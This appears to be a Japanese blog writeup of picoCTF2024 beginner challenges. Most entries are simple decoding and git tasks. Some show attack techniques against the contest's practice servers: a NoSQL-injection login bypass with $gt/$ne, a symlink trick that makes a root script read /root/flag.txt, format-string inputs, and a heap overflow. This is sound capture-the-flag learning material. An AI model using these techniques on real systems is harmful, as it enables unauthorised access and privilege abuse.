2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF2024 Writeup

Posted at

picoCTF2024に参加しグローバルランク: 1971/6957、JP学生ランク: 47/115でした。

GJolItvaQAAjvqg.jpg

GJolJxVbkAADDTx.jpg

Writeupを書ける範囲で書きます。

Web Exploitation

Bookmarklet

問題

Why search for the flag when I can make a bookmarklet to print it for me? Browse here, and find the flag!

ブックマークレットを作成して印刷できるのに、なぜフラグを検索する必要があるでしょうか。 ここを閲覧して旗を見つけてください!

サイトにアクセスするとjsのコードが書かれている。

bookmarklet-screenshot.png

解法

テキストボックスに表示されているjsのコードをコンソールで実行するとFlagゲット。

bookmarklet-flag.png

WebDecode

問題

Do you know how to use the web inspector? Start searching here to find the flag

Webインスペクタの使い方を知っていますか? ここから検索を開始して旗を見つけてください

サイトに飛ぶとホームページが表示される。

webdecode-homepage.png

解法

about.htmlにエンコードされた文字列を発見したのでbase64でデコードするとフラグゲット。

webdecode-about.png

webdecode-decode.png

IntroToBurp

問題

Try here to find the flag

ここで旗を探してみてください

サイトにアクセスすると登録フォームがあり、その後OTPを入力するようになっている。

IntroToBuro-register-page.png

IntroToBurp-otp.png

解法

リクエストボディにotp=で値を送っているのでそれを削除するとフラグゲット。

IntroToBurp-flag.png

Unminify

問題

I don't like scrolling down to read the code of my website, so I've squished it. As a bonus, my pages load faster! Browse here, and find the flag!

私は自分の Web サイトのコードを読むために下にスクロールするのが好きではないので、コードを押しつぶしてしまいました。 おまけに、ページの読み込みも速くなりました。 ここを閲覧して旗を見つけてください!

Bookmarkletと同じようなサイト。

unminify-top.png

解法

ソースコードを見るとフラグゲット。

unminify-flag.png

No Sql Injection

問題

Can you try to get access to this website to get the flag? You can download the source here. The website is running here. Can you log in?

フラグを取得するためにこの Web サイトにアクセスしてみてもらえますか? ソースはここからダウンロードできます。 ウェブサイトはここで運営されています。 ログインできますか?

アクセスするとログインフォームが表示される。

nosqli-login.png

解法

ソースコードからアカウントのメールアドレスは確認できた。

app/utils/seed.ts
export const seedUsers = async (): Promise<void> => {
  
  try {

     const users = await User.find({email: "joshiriya355@mumbama.com"});
      if (users.length > 0) {
        return;
      }
    const newUser = new User({
      firstName: "Josh",
      lastName: "Iriya",
      email: "joshiriya355@mumbama.com",
      password: process.env.NEXT_PUBLIC_PASSWORD as string
    });
    await newUser.save();
  } catch (error) {
    throw new Error("Some thing went wrong")
  }
};

また、MongoDBを使用、認証処理が脆弱であると分かる。

app/api/login/route.ts
export const POST = async (req: any) => {
  const { email, password } = await req.json();
  try {
    await connectToDB();
    await seedUsers();
    const users = await User.find({
      email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
      password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password
    });

$gtを使って($neとかでも良い)バイパスしすると、エンコードされたtokenが返ってくるので、デコードしてフラグゲット。

nosqli-bypass.png

nosqli-flag.png

Cryptography

interencdec

問題

Can you get the real meaning from this file. Download the file here.

このファイルから本当の意味を理解できますか? ここからファイルをダウンロードしてください。

解法

base64->base64->rot13の順にデコードしてフラグゲット。

┌──(kali㉿kali)-[~]
└─$ echo -n "YidkM0JxZGtwQlRYdHFhR3g2YUhsZmF6TnFlVGwzWVROclh6ZzJhMnd6TW1zeWZRPT0nCg==" | base64 -d
b'd3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrXzg2a2wzMmsyfQ=='
                                                                                                                               
┌──(kali㉿kali)-[~]
└─$ echo -n "d3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrXzg2a2wzMmsyfQ==" | base64 -d                        
wpjvJAM{jhlzhy_k3jy9wa3k_86kl32k2}

interencdec-flag.png

Forensics

Scan Surprice

問題

I've gotten bored of handing out flags as text. Wouldn't it be cool if they were an image instead? You can download the challenge files here:

フラグをテキストとして配布するのには飽きてきました。 代わりに画像だったらクールだと思いませんか? チャレンジ ファイルはここからダウンロードできます。

解法

ファイルをダウンロードするとQRコードがあるのでcyberchefでParse QR Codeをするとフラグゲット。

scan surprice.png

Verify

問題

People keep trying to trick my players with imitation flags. I want to make sure they get the real thing! I'm going to provide the SHA-256 hash and a decrypt script to help you know that my flags are legitimate. You can download the challenge files here:

人々は模倣の旗で私のプレイヤーを騙そうとし続けています。 本物を手に取ってもらいたい! 私のフラグが正当なものであることを確認できるように、SHA-256 ハッシュと復号化スクリプトを提供します。 チャレンジ ファイルはここからダウンロードできます。

解法

/files配下にあるファイルからchecksum.txtにあるハッシュ値と一致するファイルを見つけ、decrypt.shを実行すればフラグゲット。

ctf-player@pico-chall$ cat ./checksum.txt 
55b983afdd9d10718f1db3983459efc5cc3f5a66841e2651041e25dec3efd46a
ctf-player@pico-chall$ sha256sum ./files/* | grep 55b983afdd9d10718f1db3983459efc5cc3f5a66841e2651041e25dec3efd46a
55b983afdd9d10718f1db3983459efc5cc3f5a66841e2651041e25dec3efd46a  ./files/2cdcb2de
ctf-player@pico-chall$ decrypt.sh ./files/2cdcb2de 
picoCTF{trust_but_verify_2cdcb2de}

CanYouSee

問題

How about some hide and seek?

かくれんぼはいかがですか?

画像ファイルが渡される。

ukn_reality.jpg

解法

cyberchefで画像ファイルを見るとbase64でエンコードされた文字列を発見するのでデコードしてフラグゲット。

canyousee.png

┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ echo -n "cGljb0NURntNRTc0RDQ3QV9ISUREM05fNmE5ZjVhYzR9Cg==" | base64 -d
picoCTF{ME74D47A_HIDD3N_6a9f5ac4}

Secret of the Polyglot

問題

The Network Operations Center (NOC) of your local institution picked up a suspicious file, they're getting conflicting information on what type of file it is. They've brought you in as an external expert to examine the file. Can you extract all the information from this strange file?

地元の教育機関のネットワーク オペレーション センター (NOC) は不審なファイルを検出しました。ファイルの種類に関して矛盾する情報を取得しています。 ファイルを調査するためにあなたを外部の専門家として迎え入れました。 この奇妙なファイルからすべての情報を抽出できるでしょうか?

解法

提示されたPDFファイルにフラグの後半部分であろう文字列が表示される。
問題文にもあるようにこのファイルはPolyglotファイルになっていてpng形式で開くとフラグの前半部分が表示される。

flag2of2-final.png

polyglot-2.png

General Skills

Super SSH

問題

Using a Secure Shell (SSH) is going to be pretty important. Can you ssh as ctf-player to titan.picoctf.net at port 49566 to get the flag?

Secure Shell (SSH) の使用は非常に重要になります。 フラグを取得するために、ポート 49566 で titan.picoctf.net に ctf-player として ssh 接続できますか?

解法

49566ポートにSSH接続すればフラグゲット。

┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ ssh -p 49566 ctf-player@titan.picoctf.net
ctf-player@titan.picoctf.net's password: 
Welcome ctf-player, here's your flag: picoCTF{s3cur3_c0nn3ct10n_45a48857}
Connection to titan.picoctf.net closed.

Commitment Issues

問題

I accidentally wrote the flag down. Good thing I deleted it! You download the challenge files here:

うっかりフラグを書いてしまいました。 削除して良かったです! ここからチャレンジ ファイルをダウンロードします。

解法

git logで履歴を確認するとフラグを作成したcommitを確認できた。

git log 
commit 42942c9c605b30100f5d859ef6e172027447c0db (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:06:23 2024 +0000

    remove sensitive info

commit b562f0b425907789d11d2fe2793e67592dc6be93
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:06:23 2024 +0000

    create flag

checkoutで復元する。

git checkout b562f0b425907789d11d2fe2793e67592dc6be93

message.txtにフラグが表示される。

Time Machine

問題

What was I last working on? I remember writing a note to help me remember... You can download the challenge files here:

私が最後に取り組んでいたのは何だったのでしょうか? 思い出すためにメモを書いたのを覚えています...チャレンジ ファイルはここからダウンロードできます。

解法

git logで履歴を確認してフラグゲット。

git log
commit 712314f105348e295f8cadd7d7dc4e9fa871e9a2 (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:07:26 2024 +0000

    picoCTF{t1m3m@ch1n3_e8c98b3a}

Blame Game

問題

Someone's commits seems to be preventing the program from working. Who is it? You can download the challenge files here:

誰かのコミットがプログラムの動作を妨げているようです。 誰だ? チャレンジ ファイルはここからダウンロードできます。

解法

git blameでフラグゲット。

git blame ./message.py
8c83358c (picoCTF{@sk_th3_1nt3rn_2c6bf174} 2024-03-12 00:07:11 +0000 1) print("Hello, World!"

Collaborative Development

問題

My team has been working very hard on new features for our flag printing program! I wonder how they'll work together? You can download the challenge files here:

私のチームは、国旗印刷プログラムの新機能の開発に熱心に取り組んでいます。 彼らはどのように協力するのだろうか? チャレンジ ファイルはここからダウンロードできます。

解法

ブランチが1~3まであることが確認できた。

git branch -a 
  feature/part-1
  feature/part-2
  feature/part-3
* main

1~3までブランチを切り替えてフラグゲット。

┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ git switch feature/part-1
Switched to branch 'feature/part-1'
                                                                                                                               
┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ cat ./flag.py                  
print("Printing the flag...")
print("picoCTF{t3@mw0rk_", end='')                                                                                                                               
┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ git switch feature/part-2
Switched to branch 'feature/part-2'
                                                                                                                               
┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ cat ./flag.py
print("Printing the flag...")

print("m@k3s_th3_dr3@m_", end='')                                                                                                                               
┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ git switch feature/part-3
Switched to branch 'feature/part-3'
                                                                                                                               
┌──(kali㉿kali)-[~/Desktop/drop-in]
└─$ cat ./flag.py            
print("Printing the flag...")

print("w0rk_6c06cec1}")

binhexa

問題

How well can you perfom basic binary operations? Start searching for the flag here nc titan.picoctf.net 49964

基本的な二項演算をどの程度うまく実行できますか? ここで旗の検索を開始します。nc titan.picoctf.net 49964

解法

netcatで接続すると演算問題が出されるので解いていく。
提示される数字や問題はランダム。

$ nc titan.picoctf.net 49964  

Welcome to the Binary Challenge!"
Your task is to perform the unique operations in the given order and find the final result in hexadecimal that yields the flag.

Binary Number 1: 00000100
Binary Number 2: 00010101


Question 1/6:
Operation 1: '&'
Perform the operation on Binary Number 1&2.
Enter the binary result: 00000100
Correct!

Question 2/6:
Operation 2: '|'
Perform the operation on Binary Number 1&2.
Enter the binary result: 00010101
Correct!

Question 3/6:
Operation 3: '+'
Perform the operation on Binary Number 1&2.
Enter the binary result: 00111001
Incorrect. Try again
Enter the binary result: 00111001
Incorrect. Try again
Enter the binary result: 00011001
Correct!

Question 4/6:
Operation 4: '*'
Perform the operation on Binary Number 1&2.
Enter the binary result: 00000000
Incorrect. Try again
Enter the binary result: 1010100
Correct!

Question 5/6:
Operation 5: '>>'
Perform a right shift of Binary Number 2 by 1 bits .
Enter the binary result: 00001010
Correct!

Question 6/6:
Operation 6: '<<'
Perform a left shift of Binary Number 1 by 1 bits.
Enter the binary result: 00001000
Correct!

Enter the results of the last operation in hexadecimal: 0x08

Correct answer!
The flag is: picoCTF{b1tw^3se_0p3eR@tI0n_su33essFuL_d6f8047e}

Binary Search

問題

Want to play a game? As you use more of the shell, you might be interested in how they work! Binary search is a classic algorithm used to quickly find an item in a sorted list. Can you find the flag? You'll have 1000 possibilities and only 10 guesses. Cyber security often has a huge amount of data to look through - from logs, vulnerability reports, and forensics. Practicing the fundamentals manually might help you in the future when you have to write your own tools! You can download the challenge files here:

ゲームで遊びたい? シェルをさらに使用するにつれて、シェルがどのように機能するかに興味が湧くかもしれません。 二分探索は、並べ替えられたリスト内の項目をすばやく見つけるために使用される古典的なアルゴリズムです。 旗を見つけられますか? 1000 通りの可能性がありますが、推測は 10 個だけです。 サイバー セキュリティでは、ログ、脆弱性レポート、フォレンジックなど、調査すべき大量のデータが必要になることがよくあります。 基本を手動で練習しておくと、将来、独自のツールを作成しなければならなくなったときに役立つかもしれません。 チャレンジ ファイルはここからダウンロードできます。

解法

ssh接続して二分探索で調べてフラグゲット。

┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -p 62049 ctf-player@atlas.picoctf.net
ctf-player@atlas.picoctf.net's password: 
Welcome to the Binary Search Game!
I'm thinking of a number between 1 and 1000.
Enter your guess: 500
Higher! Try again.
Enter your guess: 700
Lower! Try again.
Enter your guess: 600
Higher! Try again.
Enter your guess: 650
Higher! Try again.
Enter your guess: 680
Lower! Try again.
Enter your guess: 670
Lower! Try again.
Enter your guess: 660
Higher! Try again.
Enter your guess: 665
Lower! Try again.
Enter your guess: 663
Congratulations! You guessed the correct number: 663
Here's your flag: picoCTF{g00d_gu355_1597707f}
Connection to atlas.picoctf.net closed.

endianness

問題

Know of little and big endian?

リトルエンディアンとビッグエンディアンについてご存知ですか?

解法

提示された文字列をリトルエンディアンとビッグエンディアンそれぞれ変換してフラグゲット。

┌──(kali㉿kali)-[~/Desktop]
└─$ nc titan.picoctf.net 58492
Welcome to the Endian CTF!
You need to find both the little endian and big endian representations of a word.
If you get both correct, you will receive the flag.
Word: xjgyr
Enter the Little Endian representation: 7279676A78
Correct Little Endian representation!
Enter the Big Endian representation: 786A677972
Correct Big Endian representation!
Congratulations! You found both endian representations correctly!
Your Flag is: picoCTF{3ndi4n_sw4p_su33ess_25c5f083}

dont-you-love-banners

問題

Can you abuse the banner? The server has been leaking some crucial information on tethys.picoctf.net 53449. Use the leaked information to get to the server. To connect to the running application use nc tethys.picoctf.net 49469. From the above information abuse the machine and find the flag in the /root directory.

バナーを悪用することはできますか? サーバーは、tethys.picoctf.net 53449 で重要な情報を漏洩しています。漏洩した情報を使用してサーバーにアクセスします。 実行中のアプリケーションに接続するには、nc tethys.picoctf.net 49469 を使用します。上記の情報からマシンを悪用し、/root ディレクトリでフラグを見つけます。

解法

一つ目のアドレスにアクセスすると2つ目のアドレスにログインするためのパスワードが得られる。

┌──(kali㉿kali)-[~/Desktop]
└─$ nc tethys.picoctf.net 63821
SSH-2.0-OpenSSH_7.6p1 My_Passw@rd_@1234

2つ目のアドレスにアクセスするとクイズが出題されるので回答する。

┌──(kali㉿kali)-[~/Desktop]
└─$ nc tethys.picoctf.net 52680
*************************************
**************WELCOME****************
*************************************

what is the password? 
My_Passw@rd_@1234
What is the top cyber security conference in the world?
DEFCON
the first hacker ever was known for phreaking(making free phone calls), who was it?
John
player@challenge:~$

シェルが得られたので/root配下を見ると接続した際のバナー表示やクイズのスクリプトファイルとflag.txtを発見した。

/root/script.py
import os
import pty

incorrect_ans_reply = "Lol, good try, try again and good luck\n"

if __name__ == "__main__":
    try:
      with open("/home/player/banner", "r") as f:
        print(f.read())
    except:
      print("*********************************************")
      print("***************DEFAULT BANNER****************")
      print("*Please supply banner in /home/player/banner*")
      print("*********************************************")

try:
    request = input("what is the password? \n").upper()
    while request:
        if request == 'MY_PASSW@RD_@1234':
            text = input("What is the top cyber security conference in the world?\n").upper()
            if text == 'DEFCON' or text == 'DEF CON':
                output = input(
                    "the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper()
                if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER':
                    scmd = 'su - player'
                    pty.spawn(scmd.split(' '))

                else:
                    print(incorrect_ans_reply)
            else:
                print(incorrect_ans_reply)
        else:
            print(incorrect_ans_reply)
            break

except:
    KeyboardInterrupt

flag.txtは権限がないので開けない

player@challenge:~$ cat /root/flag.txt
cat /root/flag.txt
cat: /root/flag.txt: Permission denied

/home/player配下のbannerファイルを読み込んでいるので、シンボリックリンクを使ってスクリプトからflag.txtを開かせる。

player@challenge:~$ mv ./banner ./banner_cp
mv ./banner ./banner_cp
player@challenge:~$ ln -s /root/flag.txt ./banner
ln -s /root/flag.txt ./banner

再度接続してフラグゲット。

┌──(kali㉿kali)-[~/Desktop]
└─$ nc tethys.picoctf.net 52680
picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_f7608541}

what is the password?

Binary Exploitation

format string 0

問題

Can you use your knowledge of format strings to make the customers happy? Download the binary here. Download the source here.

フォーマット文字列の知識を利用して顧客を満足させることはできますか? ここからバイナリをダウンロードします。 ここからソースをダウンロードしてください。

解法

netcatで接続して最初にGr%114d_Cheese、次にCla%sic_Che%s%steakを選択してフラグゲット。

┌──(kali㉿kali)-[~/Desktop]
└─$ nc mimas.picoctf.net 60485
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr                                                                                                           4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_ef312157}

heap 0

問題

Are overflows just a stack concern? Download the binary here. Download the source here.

オーバーフローは単にスタックの問題なのでしょうか? ここからバイナリをダウンロードします。 ここからソースをダウンロードしてください。

解法

netcatで接続してオーバーフローする値を書き込んでフラグゲット。

┌──(kali㉿kali)-[~/Desktop]
└─$ nc tethys.picoctf.net 51599

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x560aeeba22b0  ->   pico
+-------------+----------------+
[*]   0x560aeeba22d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{my_first_heap_overflow_e4c92a78}
2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?